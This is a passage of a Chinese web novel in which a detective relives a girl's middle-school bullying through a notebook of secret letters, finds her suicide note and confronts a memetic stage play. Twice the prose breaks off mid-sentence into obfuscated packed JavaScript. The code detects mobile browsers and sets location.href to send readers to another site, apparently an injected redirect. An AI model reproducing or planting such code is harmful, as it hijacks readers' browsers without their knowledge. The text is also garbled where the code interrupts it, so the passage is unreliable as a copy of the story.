幻忆师注意到,郑颂的脸更黑了。对于一个想在漂亮女同学面前表现自己的少年来说,被刘天怡这样的异性喜欢可不是什么值得高兴的事。 另一边,发卡女生搀扶起刘天怡,亲昵地在她耳边说:“你可要小心呀,不能再摔倒了。” 伴随着一阵眩晕,幻忆师回到新历99年的大学教室。 这就是刘天怡永远停留的那一天,新历93年9月14日,似乎是刘天怡被霸凌的开端。 但从信件上不难看出,她在被霸凌后还有婉婷这个朋友。 翻开手账本,幻忆师从9月22日继续看。 自这一天开始,一直到10月20日,信件内容都是两个初中生好友间的闲聊,一起聊聊动画,一起说说**的坏话。 10月20日当天,刘天怡提到了**的发卡,怀疑发卡是假货,由此可以确定幻忆师看到的发卡女生和信件里的**是同一人。 从23日到25日,连续三天都是刘天怡在絮絮叨叨地说些什么,婉婷没有回信。 新历93年10月25日。 【婉婷,你别不理我呀!求求你了,这个班上只有你愿意和我偷偷说话了。】 新历93年10月26日,婉婷终于给出回信。 【她们排挤你就排挤你,你怎么变得这么不正常,你跟他们说那些做什么?神经病呀!】 新历93年10月27日。 【婉婷,我买了两套动漫周边餐具,我实在是太兴奋了,从今天开始我们一起吃午餐!】 幻忆师把黑板上的9月14日改成10月23日,再次进入6年前的学校。 一群人把发卡女生围在中间,听她大声发表演讲,少年刘天怡孤身一人坐在教室边缘。 发卡女生举起手机给周围人看照片:“我家养的蜥蜴漂亮吧?昨天刚从隔壁市接过来的。” 幻忆师凑过去看了看。 “金灿灿的,像条小龙一样!”一个戴着白框眼镜的女生讨好地说。 对于这群初中生来说,家里有个小猫小狗都够炫耀了,更何况一只威风凛凛的蜥蜴。 而且这只蜥蜴还住在漂亮的恒温玻璃箱里,箱子里还有昂贵好看的布景。 很快,打球回来的男生也加入了讨论,被琴盖砸手的郑颂赫然在列。 刘天怡坐在自己的座位上奋笔疾书地写作业,但幻忆师感觉她在偷听同学说话。 很快,她像是下定某种决心,红着脸异常激动地站起来,动作幅度之大将桌椅带出刺耳的异响。 她拙劣地模仿着发卡女生的声调:“我家也养宠物了,是意大利的品种狗,灵缇猎犬!” 众人的注意力被她吸引过去,发卡女生也产生一点兴趣:“有照片吗?我想看看。” 其余同学都用期盼的眼神盯着她,她的脸越发地红了,连耳朵都一起泛红。 她结结巴巴地说:“手机、我手机里有照片,开学前被我妈给没收了,回头我找机会把手机偷出来给你们看。” 同学们见状失去了兴趣,也没多说什么,只是各自散开去做别的事了。 发卡女生却不满意,她拿着手机翻找了一会,把屏幕转过去:“这是你家狗吧,你爸上次来接你,牵着它来过,我正好照下来了。” “是它,是我家缇缇!” 同学们又围过来。 郑颂突然爆发出一阵放肆的大笑:“这不是就是脸长一点的土狗嘛!” 这笑声很有感染力,同学们全跟着笑起来。 发卡女生好像很疑惑:“婉婷,你快过来看看,刘天怡家的狗到底是不是灵缇?” 刚才夸奖蜥蜴的白框眼镜脸色难看地走过来,她从刘天怡发言时就躲起来,此时明显一句话都不想说。 但她还是无视了刘天怡眼角的泪光:“看着不像。” 人群中又爆发出快乐的笑声。 戴着白框眼镜的婉婷蠕动了几下嘴唇,艰难地说:“说不定是田园犬跟灵缇的混血,这狗的脸......” “其实我家还有别的小动物!” 婉婷的话被打断了,刘天怡脸上的血色在一点点褪去,她的脸上依旧挂着笑容,笑容底下却隐藏着同学们看不出的恐惧。 她的喉咙与舌头似乎不再受其所控,自说自话起来:“我家还养了猫,缅因猫,体型特大的那种!” 同学们笑得更快乐了。 “还有蛇!那种猪鼻蛇......” “为了喂蛇,我还养了仓鼠。” 郑颂问:“那这些动物都养在哪呢?” “养在......养在家里。”刘天怡明显慌了。 “所以你家是野生动物园,猫狗蛇鼠满地乱跑!” 刘天怡已经说不出话了。 不知哪个学生开始喊:“刘天怡说她家是野生动物园!刘天怡说她家是野生动物园!” 那孩子边喊边跑,那声音越传越远,刘天怡的脸色越来越白,她求助一般看向婉婷,婉婷似乎也傻眼了,不知该如何是好。 发卡女生无聊地划着手机屏幕:“你下次拿手机来给我们看看照片,让我们也涨涨见识。” 又是一阵哄笑。 画面定格在刘天怡和婉婷的对视上,随后又是一阵眩晕感。不等眩晕感结束,幻忆师把黑板上的23日改为26日。 正午的太阳悬挂在头顶,刘天怡把手机藏在校服袖子里,无聊地揪树叶子。 这里似乎是学校高中部某栋楼后身,楼前来来往往的全是高中生,楼后静悄悄地空无一人,墙体和围栏间仅有过道宽,高高的围栏上长满了爬墙虎。 刘天怡在等婉婷,幻忆师笃定地想。 刚刚那段回忆导致刘天怡被婉婷在密信里骂神经病,并断绝了来往。而今天,肯定发生了什么大事,能让婉婷明天就和刘天怡一起吃午餐。 一个人影从远处慢慢走过来,刘天怡惊喜极了:“婉婷!” 婉婷在三米远的地方停下:“小声点,一楼宿舍里有人怎么办?” 幻忆师下意识抬头看了一眼一楼宿舍,才发现里面真的有人。 一个突兀到怪异的男生,他矮矮胖胖,邋里邋遢,正光明正大地隔着防盗窗窥探着面前发生的一切。 那对初中生好友却好似看不到矮胖男生,刘天怡甚至又高兴地喊了一声:“婉婷!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13061730|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这次是小声喊的。 婉婷走近几步:“我喊你来,是想说一件事,我们要不去告老师吧,告诉老师她欺负你的事。” “或者把事情闹更大点,你先告诉你爸妈,让你爸妈找老师,让老师请她家长。” 刘天怡答非所问:“我把手机偷出来了。” “我知道。”婉婷不耐烦地说,“我知道你把手机偷出来了,所以才发消息给你,约你12点见面,你说这个干什么?我在说告老师的事。” “我拿手机是想给你看照片。” 婉婷愣住了。 “当当当当!没有照片,那些都是我编的,我确实是个骗子,是个开动物园的,哈哈哈哈哈哈——” 刘天怡模仿着郑颂,发出夸张的大笑,连眼泪都笑出来了。 婉婷大吼:“你不是!” “我知道你不是,你也知道你不是!是她在排挤你,你那天才不正常,像个神......像个开动物园的。” 刘天怡的情绪似乎平复下来:“小声点,婉婷,宿舍里有人。” 幻忆师惊讶极了,她又去看矮胖男生,那孩子对她笑了笑,笑得脸上的肥肉堆叠在一起。 然而婉婷却视若无睹,越来越激动:“我们去告家长,去告老师!现在就去!” “然后呢?就因为这点小事去告老师,像个一点玩笑都开不起的幼儿园小孩,爱告些小状。” “老师把她叫去批评,她以后确实不会欺负我了,她连话都不会再和我说,她周围人也不会理我。” 婉婷想说什么,刘天怡却不给她这个机会:“而且,你说的告老师,是‘我去’,而不是‘我们去’。” “被欺负的只有我而已,你是她那个小团体的一员,这里没你的事。” “或许,你可以离我远一点。” 一阵寂静。 刘天怡肉眼可见得放松,这些话似乎是她打了三天腹稿才想好的,今天终于倾吐出来。 而婉婷像是被什么砸懵了一样,久久说不出话。 忽然,婉婷一把拽住刘天怡的手转身就跑。刘天怡的手机没放好,从口袋里掉出来摔在地上。 她大喊:“喂!我的手机!” 婉婷停了下来,抢先一步捡起手机,评价道:“摔得好。” “好什么好?我妈会把我扬了!你怎么跑这么快?” 幻忆师看见她们手牵手极力奔跑着,跑出过道,穿越操场,爬上楼梯。 而那个矮胖男生——幻忆师忽然开口:“你不在这里,但她认为你在这里。” “或者说,在她的潜意识里,你必然在这里,听见她们说的所有话。” 幻忆师下完结论的一瞬间,男孩如同老旧电视机的雪花屏闪了闪,消失不见。幻忆师低头,看见自己同样扭曲闪烁的双手。 再回过神时,已经在教室里,婉婷对着全班同学大声说:“刘天怡给我看照片了,她家确实养了缅因猫和蛇!” “还有缇缇小时候的照片,它妈妈是条灵缇犬,可漂亮了。” 教室里没人说话,所有人都在看她旁若无人地发疯,有人忽然反应过来:“赵婉婷,你是她家动物园园长吗?知道得这么清楚。” 一时间,“开动物园的”和“园长”两个词被学生们反复咀嚼,似乎能从中尝出某种快乐,大家哄堂大笑。 发卡女生问:“手机呢?我也想看。” 婉婷演技好差,她做作地把被摔裂屏幕的手机从口袋里掏出来,惊讶且惋惜地说:“不好意思,刚刚手机被我摔了。” 发卡女生上上下下打量一圈婉婷,爆发出一阵尖锐的笑声:“哈哈哈哈......那你记得赔呀。” 幻忆师不清楚这个年纪的刘天怡能不能明白笑声的含义。 但幻忆师知道,这是在嘲笑婉婷用如此笨拙的演技骗人,也是在嘲笑她的懦弱,被欺负还不敢反抗的懦弱。 在尖锐的笑声中,刘天怡却像被一种快乐包围了,她也哈哈大笑起来,真的笑出了眼泪。 从这一刻起,幻忆师认为这不是一个游戏,而是刘天怡的一生。 12. 锈蚀之剑 被霸凌者如何成为一名霸凌者? 这是一个让人不愿深思的问题。 作为侦探,幻忆师不是总能接到超能力犯罪大案。为了维持侦探事务所的运转,她时不时接一些普通委托,其中不少与校园霸凌有关。 她的委托人中有被霸凌者的家长,也有被霸凌者本人,曾经有一个孩子,他很认真地想报复回去。 他是这么说的:“我可以找老师、找律师、找心理医生,但是我找到你,因为我知道你和他们不一样。” “他们称呼你为幻忆师,说你是复杂案件的解决者,扫除罪恶的清洁工,还是一名灰色地带的食腐者。” “你一定有办法的,大家都说你有特殊的办法。” 幻忆师没有阻止他,只是告诉他需要付出的代价:“霸凌者之所以是霸凌者,是因为他们的大脑和正常人不一样。” “他们缺少共情能力,情绪调节能力异常,无法抑制自己的冲动情绪。比起人类,他们更像动物。” “你想报复霸凌者,必须变成和他一样的动物。你要不断地回忆自己被霸凌的场景,痛骂那个软弱无能的自己,怀疑并否定自己的一切。” “当你想要逃避这些痛苦时,你必须把恐怖的回忆从胃里反刍上来,再次细细地品味一番,将回忆当做锈蚀之剑,一次又一次地自我切割。” 摸了摸小委托人的头,幻忆师温和地说:“通过锈蚀之剑反反复复的切割,伤口永远无法愈合。” “你的大脑会形成一种病理性通道,类似于医学上的窦道,等这条窦道连接到灵魂的腔隙,你成功变成和那些霸凌者一样的动物。” 小委托人打掉她的手:“无所谓,无非是变得和他们一样。” “不完全一样,他们是先天的,你是后天的。你曾经‘正常’过,总有一天你会想治好这条窦道。” “到时候你该如何清创呢?用手术刀切掉所有坏死组织?你没有手术刀,你连锈蚀之剑都没有。” “什么意思?”她的委托人情绪激动,“你是说我不够恨他们?” ...... 幻忆师强行把自己从回忆中抽出来,强迫自己把注意力集中在手账本上。 无法控制地回忆起那个小委托人,大概是因为少年刘天怡也没有一把合格的锈蚀之剑,婉婷的存在使她的锈蚀之剑永远无法成型。 所以,幻忆师无法理解刘天怡如何在大学里变成一个霸凌者。 从新历93年10月30日开始,两人的密信交流虽然没断,但内容明显比之前要少。 这很好理解,赵婉婷和刘天怡已经成为班级里最让人讨厌的那对怪胎好友。 怪胎只能和怪胎说话,怪胎没有别的朋友,怪胎天天腻在一起,根本不需要什么密信了。 刘天怡甚至提议停掉密信,她这样写。 【婉婷,我想了想,不如咱们别这样写信了,多麻烦呀,有什么事我们当面说不好吗?】 婉婷回复。 【即使是最好的朋友也总有一些话无法当面说出来,再说,我们这样多像动漫里的超能力特工。 我还想发明一种密文,只有咱们知道,最近早上收作业时**有事没事就来我这儿晃荡,她肯定发现我们的密信了,想拿出来在班上读。】 她们之前在密信里痛骂发卡女生,因为发卡女生大声朗读隔壁班同学给郑颂写的生日贺卡。 刘天怡又怀疑写贺卡的人确实喜欢郑颂,很是八卦了一番。 幻忆师生出一点兴趣,快速往后翻,真找到了她们所谓的“密信”。 新历93年12月17日,婉婷的蓝色笔迹。 【OW`EHZ&GNAY5EIX-GNEN!NAK3GNIM)IAB*ABYNWISSJB】 ......破解这种密文真是一点成就感也没有呢。幻忆师瘫着一张脸往后翻页。 第一句话无非是把每个字的拼音顺序颠倒过来,再用字符或数字隔开,翻译过来就是“我这样写能看明白吧?” 后一句话可能是写累了,连所谓的密文都懒得用,直接用的英语加拼音缩写,“YNW是神经病。” 至于YNW,肯定是发卡女生,两位小朋友只敢在密信里一起骂骂发卡女生了。 幻忆师猜测是YOU-KNOW-WHO的缩写,两人看完哈利波特给发卡女生起了个和伏地魔一样的外号。 一本薄薄的册子基本看到头,幻忆师根本没明白,为什么婉婷会跳楼自杀,刘天怡会变成一个霸凌者。 目前看来,这只是初中生的小日常,发卡女生带头搞的霸凌也只停留在口头嘲笑的程度。 如果没有意外,这对好友会彼此支撑着度过艰辛的初中时光,一起升入高中,甚至考上同一所大学。 这种患难中的友谊弥足珍贵,在幻忆师有限的记忆中,她从未拥有过这样令人羡慕的友谊。 再往后翻手账本,翻到一张精致昂贵的贺卡,沿着巧妙设计的折痕推开卡片,立体圣诞树和榭寄生层层叠叠地立起,构建出一个微型圣诞小屋。 幻忆师在贺卡的夹层里找到已经生锈的电子元件,说明这是一张音乐贺卡,打开后能播放圣诞歌的那种。 贺卡上是简短的祝福语。 【婉婷,圣诞节快乐!我这一年最大的收获就是交到了你这样的好朋友,祝你每天都开开心心的! goodgoodstudy,daydayup! 剩下的话都写在信纸上啦,回家再拆封哦!】 什么东西,又是某种密文吗?幻忆师盯着那稚嫩的花体英文,慢慢反应过来,这是好好学习天天向上的意思。 刘天怡能考上大学真是不容易,她真诚感叹。 往后翻了几页,没有找到信纸。幻忆师拿起板擦粉笔,准备再次回到6年前,却被突然闯进来的黑哥打断。 “你在这里!”黑哥惊喜极了,“和我一起去看话剧吧!” 枯败王朝怎么污染到他身上了?幻忆师不着痕迹地皱了皱眉头,搜肠刮肚地寻找拒绝理由。 还没等她编好理由,黑哥慷慨激昂地邀请: “这不单单是场话剧,这是一次灵魂的邀约,一场情感的共鸣,一个鲜活的梦境,众王之王居于上首......” 幻忆师很快意识到不能再让他站在门口滔滔不绝地说下去,她从讲台上走下来,想把黑哥拉进教室。 走到一半,幻忆师愕然停住脚步。黑哥不是一个人来的,他是带着一群人一起来的。 那群人如同藏在橱柜夹层中的蟑螂,躲在她视线的死角,颤抖着细长的触须窥视着一切。 他们察觉到自己被发现了,发出一阵低沉细碎的交谈声: “就是她啊,不负责任逃离现场的主演。” “她要是不愿意和我们回去......” 黑哥双手握住幻忆师肩头,目光中带着恳求:“你会和我们一起去看话剧,对吧?” 其余人用空洞漆黑的眼睛看着幻忆师,静静等待着一个肯定的答案。 “当然。”幻忆师回头看了一眼放在讲台上的手账本,主动踏入这群人的包围圈,“我们现在就去。” 黑哥似乎松了口气,但又不明白自己为什么这么做,他呆呆地走在幻忆师旁边,和人流一起把她裹挟至老礼堂。 得想个办法解除枯败王朝对整座学校的影响,先从黑哥开始。 幻忆师不动声色地思考:枯败王朝不能影响我,是因为我是不属于这里的玩家,还是因为刘天怡的这具身体? 这是一个很值得思考的问题,如果答案是后者,那么刘天怡死前肯定遇到了与她相同的情况。 也不是完全的相同——刘天怡一定会挣扎在关于婉婷的泥泞回忆与全校师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13061731|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生即将死于一场话剧的恐怖现实中。 带着这个疑惑,幻忆师再次来到老礼堂。 这里和她上次来时大有不同,小半个礼堂站满了观众,台上莫名其妙地多了好几个戴着空白面具的演员,他们悄悄化作场景的一部分。 而两位主演则站在一个不知从哪找来的活动舞台上,被穿着贵族服饰的空白面具们簇拥着,居高临下地观看一名歌剧演员表演。 上一次来到这里,幻忆师只观看了第一幕开头就灰溜溜地逃走了。 现在演出进行到第二幕,盖亚之子晨星实现了自己成为众王之王的愿望,坐在剧院里欣赏剧团重现他年轻时的征战岁月。 幻忆师快速看了一眼字幕屏。 【第二幕之无忧城歌剧院 众王之王晨星微笑着与梅利埃格洛交谈】 扮演年轻晨星的歌剧演员:“即使你们如此威胁我,我也不会自裁!” “我可以死于刀剑、死于暗杀、死于折磨,唯独不可因自裁而死。我为盖亚之子晨星,假以他日我必将加冕为王!” 众王之王:“请看,我的友人,他是否有几分我当年的风采?” 梅利埃格洛:“陛下,您为无忧城的王、乌有之地的主人、死无葬身之处的掌控者,您早已超越现实与时间,让无忧城成为无数王都的中心。请告诉我,您为何如此在意一名年轻的演员?” 众王之王:“他为贵族之子,自当受我重视。” 梅利埃格洛:“我注视着您,陛下,一如我自光明诞生前。我有一事不解——贵人所诞之子与平民所生之人有何不同?请陛下为我解惑。” 众王之王:“你为全知之人,怎能不懂其中的道理?只因你亦是无私之人。” 梅利埃格洛:“陛下,我有一徒名为西西弗斯,为牧羊女所生,其智慧不亚——” 众王之王:“听好,我的友人,我的仆人,我所爱之人。那日我独自一人徘徊于迷雾之地,并非与你一同求索。” 幻忆师把黑哥偷偷拉到舞台左侧的边角,耳边回荡着梅利埃格洛和晨星的争吵,她摆出一副促膝长谈的架势:“为什么痴迷于这场话剧?” 黑哥抻着脖子往舞台上看,可惜被音箱挡住什么也看不见,他心不在焉地回答:“不为什么。” “枯败王朝是个模因,它会让你陷入癫狂,甚至自杀。” “别胡说八道,众王之王是至高无上的王。”黑哥抬脚就走。 “我有一个关于枯败王朝的问题,困扰我很长时间。” 黑哥的注意力被吸引回来,幻忆师说: “剧名枯败王朝听起来像个后人取的不详名号,不像众王之王这样的鼎盛之王给自己治下王庭取的代号。枯败两个字预示了不好的结局。” “既然这样,你为什么崇拜众王之王,你怎么知道祂就是一名贤王?” 通过逻辑漏洞进行推理从而得出结论,比直接告知真相更容易让他接受。 因为人类的大脑倾向于维护自己的认知一致性,逻辑推理这场思维风暴容易让人产生出“我思故我在”的满足感,使得推理出的结论更加可信。 黑哥果然愣了一下,紧接着仿佛逻辑自洽般喃喃念起祷词:“众王之王,枯败共主......” “好好好我明白了,你是通过祷告知道他值得敬重的。”幻忆师的手腕隐隐作痛。 “......王之影长,夜幕低昂。” “够了,我知道你能自圆其说,但是!”幻忆师高声发问,“你是怎么来老礼堂发现话剧的?” “当然是因为......我来找你。”黑哥迟疑了一下。 “你为什么来这里找我,你怎么知道我在话剧社?” “你没告诉我吗?” “不可能是我告诉的你。”幻忆师破罐子破摔,“因为刘天怡脚踏两条船,背着你和杜自明搞对象。” 13. 众王之王 “脚踏两条船?”黑哥像是没明白这句话的含义。 “你从哪知道我在话剧社的?” 黑哥眼球微微上翻,注视着虚空中高处的一点,陷入回忆:“我在食堂听她们讲八卦,说你和杜自明......” “对,你听到八卦,来话剧社戳破我和杜自明,准备当面和我们对峙。现在站在台上演出的就是杜自明,你看清楚了。” “那我为什么站在这里看他演话剧?”黑哥喃喃自语。 幻忆师等的就是这句话,她迫不及待地说:“因为枯败王朝是个模因污染源,它污染了你的理智,让你忽略所有事情只为传播它而存在。” 痛苦与茫然一起爬上黑哥的眉梢,他好像无法理解幻忆师的话语,只能通过机械地念诵未完成的祷告乞求一点宽恕与净化: “......雾冕沉凝,花不应放。血流浮丘,哀歌未央。” “别念了!” 来不及了,随着祷词最后一字落下,幻忆师眼角的余光中出现一抹红色的影子。 祂看到我了。 幻忆师的心脏仿佛被无形的寒冰包裹,全身的血液似乎在一瞬间凝固,心跳声如擂鼓般震耳欲聋。 在这种莫名的、极端的、不知从何而来的恐惧下,她的思维被冰冻住。 我也看到祂了。 所有的知觉被无限放大,幻忆师甚至能感受到细小的汗珠从毛孔中渗出,她十指紧握,将长长的指甲深深嵌入掌心。 被放大的疼痛使她找回一丝理智,但她无法转头。 她用全部的勇气动了动眼珠。没有,什么都没有,没有刚刚瞥到的红色身影。 幻忆师的肌肉因紧张而颤抖,她意识到那是不能直视的。她强迫自己再次转动眼珠,分散注意力。 她看见了,在视觉忽然转换的瞬间,她看见音箱上金属按钮反射出的血红色长影。 一位细长干枯,身披破败长袍,困在血色斑驳绸带中的被缚之王。 手和脚同时发冷,血液被导向腿部大肌肉群,大脑还没有反应过来,腿脚就生出了自己的意志,迈开大步夺门而出。 她大脑空白地跑出老楼大门,一头撞在一个人身上。 旁边传来女生的尖叫声,幻忆师焦急地低吼:“还不快跑?” “撞死我了,你跑什么?” “众王之王......”幻忆师停下来回头,根本没什么众王之王。 “什么王?我们是新媒体中心,来采访话剧社。” 幻忆师像个久治未愈的精神病一样左右迅速转头,把刘天怡的脖子拧得咯吱作响,血红色身影一直处于她眼角的余光中,不远不近地注视着她。 刚刚尖叫的女生和举着DV摄像机的男生对视一眼,小心翼翼地问:“同学,你没事吧?” “我是说众王之王,一个裹着红色带子,像是被放光全身血液的干尸,你们能看见吗?”幻忆师的大脑被生理性恐惧控制着。 “你在开玩笑吗?今天不是愚人节。” “或者是在装疯卖傻?虽然你撞了我,但我没让你赔钱。” 这个并不好笑的笑话让几个学生壮胆般发出大笑声,他们悄悄远离幻忆师,其中一个偷偷按开手机,做好随时报警的准备。 幻忆师的理智一点点回到大脑中,她用脚轻轻踩了踩地面,这才找到一种不清晰的真实感:“对不起,但是没有时间了,我必须走了。” 学生们又对视一眼,面面相觑地让开路,没有计较她撞人的事。 这种情况下再叮嘱他们别去看枯败王朝已经没用了,幻忆师不顾腿上肌肉拉伤的疼痛,再次拔足狂奔。 要赶快回到教室中,得知6年前事件的全貌,这两起事件一定有什么关联。 幻忆师在综合楼门口看见了王悦,她放慢了脚步。 “你又跑什么?”王悦走过来,亲昵地挽住她的胳膊,“你今天一天的运动量赶得上之前一周了吧?” 有什么地方不对劲。幻忆师不动声色地用眼角余光观察王悦,她发现自己已经很擅长这个了。 这个王悦身上有种怪异的静谧感,好像昏暗地下室的拐角般令人不安,她忍不住转头仔细观察。 没什么不对劲,两只眼睛一只鼻子一张嘴,五官都值守在它们的岗位上。 “怎么了,为什么这么看我,我脸上有什么东西吗?”王悦说话了。 随着那张嘴一开一合,幻忆师的视线被某种诡异的力量黏在王悦脸上,她猛然意识到,王悦的眼睛和嘴全部被旋转了180度。 她感到些微的恶心,竟然没有恐惧,或许是麻木了:“没有东西,只是看你最近皮肤不错,涂什么了?” 王悦哈哈大笑,那张倒置的嘴嘴角向下,再次开开合合地发出声音:“什么都没涂,天生丽质懂不懂?你把东西放哪了?” “东西?包裹在楼上教室里。” “不是那个。”王悦神神秘秘的,“你知道我说的是什么。” 这伪人和她中午见过的好像不是同一品种。幻忆师谨遵沈教授教诲,即使根本不知道它在说什么,也含含糊糊地应付:“那个啊,也在楼上。” 一个人类一个伪人,好似一对真正的老友,手挽手上了二楼。 进到教室,王悦一眼看见讲台上的粉色手账本:“这就是那东西吗?” “应该是吧。” 幻忆师装作对地上脏兮兮的快递包装袋感兴趣的样子,找机会把胳膊从伪人的臂弯里抽出来。 她伸脚踢了踢黑色袋子,自然地向黑板走去,摸了根粉笔藏在袖子里。 不对,普通包装袋有这么厚吗?幻忆师做贼一样,迅速回头看了一眼王悦,王悦正在全神贯注地翻阅手账本。 她踮起脚尖,轻巧地蹲下,用拇指和食指搓了搓包装袋,包装袋是双层防水防破的设计,里面果然有东西。 撕开包装,里面掉出来一张手写的快递单,上面明显是刘天怡的字迹,那字迹工工整整,认真到像是在和什么告别一样。 寄件方:刘天怡,诞江市下梢区西桥道121号诞江师范大学6号宿舍楼511室。 收件方:赵婉婷,诞江市下梢区西桥道121号诞江师范大学6号宿舍楼511室。 件数:1 重量:48KG 收派员:【被涂黑了】 一个模糊且不可思议的念头迅速划过幻忆师的脑海,她翻过快递单,看到上面有一行小字。 虽然很荒谬,但这就是刘天怡的遗书,只有一句话的遗书。 【婉婷,我坚信这个世界上有鬼,这样我才能见到你。】 幻忆师对着灯举起快递单,透过光看到被涂黑的“收派员”那一栏上隐约可见伪人两个字。 刘天怡连自己的后事都安排好了,48千克的尸体连带一个手账本都交给伪人。很难说这不是自杀,但为什么自杀?枯败王朝无法影响她。 一片阴影从纸张最下方漫上来,悄然覆盖被涂黑的字符,幻忆师绷紧腿部肌肉。 “你在看什么?”眼嘴倒置的王悦不知何时来到她身后,一把夺过她手里的快递单。 幻忆师双腿用力一蹬,从蹲姿直接暴起,身体展开成一条弯曲的弧线,向黑板扑去。 腾空的瞬间她感到自己的后衣领被一股巨力摄住,风衣并不柔软的布料在她颈间绷紧,造成短暂的窒息感。 她整个人被掼到黑板上,脸颊紧贴冰冷坚硬的石墨。 “你早就发现了吧?”王悦的语气冰冷刺骨,“东西在哪?” “你在找什么?”幻忆师声音微弱地说。 她忍住前额的刺痛,右手伸向后颈徒劳地挣扎着,想把死死攥着衣领的手扣开,左手偷偷摸出藏在袖子里的粉笔头。 “我不知道,你也不知道,没有人能知道。” 像是说谜语一样,他们到底在找什么?幻忆师扁平地贴在黑板上,艰难地操控左手在王悦的视觉死角歪歪扭扭地写字。 新历93年12月25日,贺卡上的日期如今成为她的救命稻草。她胡乱说了句不清不楚的话,示意王悦放轻力道。 王悦果然微微松开衣领,给她留下说话的余地。 幻忆师在黑板上摸索着写下最后一个数字,恶劣地对王悦笑了笑,她的笑容中隐藏着阴沉 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少年刘天怡和婉婷都在享受这种纯粹的快乐,穿上裙子披散头发的婉婷清秀可爱,看不出学校里那个白框眼镜的影子。 坐在过街天桥的栏杆上,刘天怡晃着双腿:“我妈总说考上大学就轻松了,我看没那么简单。” “大学啊,”婉婷发出低低的笑声,她的目光越过熙熙攘攘的人群,看向天桥下一家装修豪华的理发店,“考完试我要先染一个那样的头发。” 橱窗里的模特头戴着一顶隐藏染假发,为了展示隐藏染,假发的原发色部分被大发夹夹在头顶,露出蓝粉相间的渐变发,在橱窗的打光下如同染上了霓虹流光。 “那有什么好看的?不把头发掀开什么都看不到,染了和没染一样。” 婉婷不以为意,继续憧憬着遥远的大学生活: “我要好好学习,绝对不能及格万岁,大二开始考英语,将来即使不能出国,也要离开燕曲市到大城市工作。” 意识到好友只是在畅想大学生活,刘天怡不再泼冷水,她随意地问:“去哪座城市?” “诞江吧。” “为什么是诞江市?” “听说有很多超能力者,大家对超能力习以为常。”婉婷扶着栏杆靠在刘天怡身边。 “你喜欢超能力者?” 婉婷不好意思地笑了笑:“倒也不是喜欢,就是想去大城市看一看。” “嘿嘿。”刘天怡故意压低声音,“那我要和你考到同一个城市,你别想跑。” “我还要学化妆然后谈恋爱。” “对,还要谈恋爱,谈让单身狗嫉妒的恋爱!” “还要追星、看演唱会、逛漫展!” “那你不许谈恋爱,你谈了恋爱肯定只带男朋友不带我了。” 迎着风,婉婷笑得舒畅:“好!我们都不谈恋爱,一起玩一辈子!” 对未来的狂想让两个人捧腹大笑,站都站不直。 刘天怡笑得声线不稳:“说真的,她们造谣你和八班赵建宇是一对时,我都怕你立刻指天对地发誓这辈子不谈恋爱。” 婉婷不笑了,刘天怡也不笑了:“对不起,我不该提这个。” 幻忆师注意到,少年刘天怡和婉婷相处时很照顾对方的想法,甚至可以说是过于在乎婉婷的感受而变得有点不像她自己。 诚然,刘天怡多多少少有些缺点,她身上有种别样的率真,这种率真与任性只有一墙之隔,也间接导致了她处事时缺乏圆滑且考虑不周。 但她和婉婷相处时,每说完一句不过脑子的话都会看看婉婷的脸色,再检讨一下自己。 这对于一个12岁的孩子来说是个残忍的技能,是她经历过霸凌和排挤后学会的,用来维护自己唯一一段友谊的技能。 而婉婷确实是个好孩子,她耐心且直白地解释: “我不是因为那些造谣的话不高兴,我是不想听你提赵建宇,你不要在学校谈论他,更不要尝试接触他。” “为什么?” “他是个可怕的人。”婉婷神情严肃,面色发白,紧抿着嘴唇陷入回忆。 14. 赵鸭庄杀人事件 婉婷换了个姿势靠在天桥栏杆上:“我和赵建宇曾经是小学同学,不是燕曲市的小学,是坛李县赵鸭庄的村小。” “对哦,你们都姓赵。”刘天怡恍然大悟,“不过赵鸭庄是哪里?” “一个很远很远的村子,从学校开车到坛李县要5个小时,从坛李县到赵鸭庄要1个小时。” “好远!婉婷你是从那里长大的吗?” 婉婷的眼睛里饱含着刘天怡看不懂的,不属于她们这个年纪的复杂情绪:“我妈妈以前在那里。” 圣诞节的热闹繁华离她们远去,婉婷的声音裹着寒风。 “赵鸭庄是个偏远的小村子,不得不承认,我们村野蛮又落后。” “赵建宇和他爷爷一起生活,他爸爸只在春节回家,我没见过他妈妈。” “小学四年级时,赵建宇偷偷养了一只小狗,藏在学校后面没人住的老屋里。养了不到一个学期,小狗被他堂哥发现了,堂哥立刻向他爷爷告状。” “等等。”刘天怡忍不住插话,“养条狗而已,为什么要告状?” “村子里所有需要吃饭的畜生必须有价值。那狗是条瘸狗,养大了也不能看门,不如多喂几只鸭子,鸭子还能卖钱。” “堂哥告状后,爷爷让堂哥‘帮忙管管孩子’。” “说是堂哥,其实只比赵建宇大6岁,没有太亲近的血缘关系,况且我们一个村全都沾亲带故,我勉强算是赵建宇的堂姐。” 16岁左右的堂哥,从小在村子里长大,最是无法无天的年纪。幻忆师大概能猜到接下来会发生什么。 “堂哥说:‘这狗不能白养这么大,不如杀了吃肉吧。’赵建宇拼命反抗,哭嚎得整个村子都能听见。” “堂哥又说:‘你连条狗都舍不得杀,像个女的一样,长大能有什么出息?难怪你妈和别的男人跑了。’” “赵建宇突然不哭了,他说他也想吃肉,反正狗横竖得死,不如让他亲手杀死。” 刘天怡难以置信:“他真的把从小养大的狗杀死了?” 